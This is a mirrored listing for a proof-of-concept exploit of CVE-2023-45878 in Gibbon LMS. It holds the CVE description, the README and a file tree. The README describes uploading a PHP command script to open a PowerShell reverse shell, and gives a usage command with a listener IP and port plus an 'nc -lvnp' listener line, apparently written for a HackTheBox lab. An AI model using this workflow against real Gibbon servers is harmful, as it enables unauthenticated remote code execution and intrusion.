CVE-2023-45878 PoC — Gibbon 安全漏洞

Source

https://github.com/dgoorden/CVE-2023-45878

Associated Vulnerability

Title:Gibbon 安全漏洞 (CVE-2023-45878)
Description:GibbonEdu Gibbon version 25.0.1 and before allows Arbitrary File Write because rubrics_visualise_saveAjax.phps does not require authentication. The endpoint accepts the img, path, and gibbonPersonID parameters. The img parameter is expected to be a base64 encoded image. If the path parameter is set, the defined path is used as the destination folder, concatenated with the absolute path of the installation directory. The content of the img parameter is base64 decoded and written to the defined file path. This allows creation of PHP files that permit Remote Code Execution (unauthenticated).

Readme

# CVE-2023-45878

Wrote this script based on the work of https://herolab.usd.de/security-advisories/usd-2023-0025/ . The exploit works by using an Arbitrary File Write exploit in Gibbon LMS 25.0.1 . This PoC will use upload a simple php cmd script, and then use that to load a powershell revshell.

```Example
python3 CVE-2023-45878.py -u http://frizzdc.frizz.htb/Gibbon-LMS -l 10.10.16.2 -p 8888 -f asdf
```

Flags:
```
-u, URL where Gibbon LMS is installed.
-l, your IP
-p, your open port
-f, filename. Important if you need to manually test. Default is "asdf".
```

Have a listener ready for the incoming shell.

```
nc -lvnp 8888
```

This was used for TheFrizz on HTB, submitted by 0xPizzaCat.

File Snapshot


 [4.0K]  /data/pocs/28639c2b0241bff1b5434af3948a130cf92cdd46
├── [5.1K]  CVE-2023-45878.py
└── [ 699]  README.md

0 directories, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!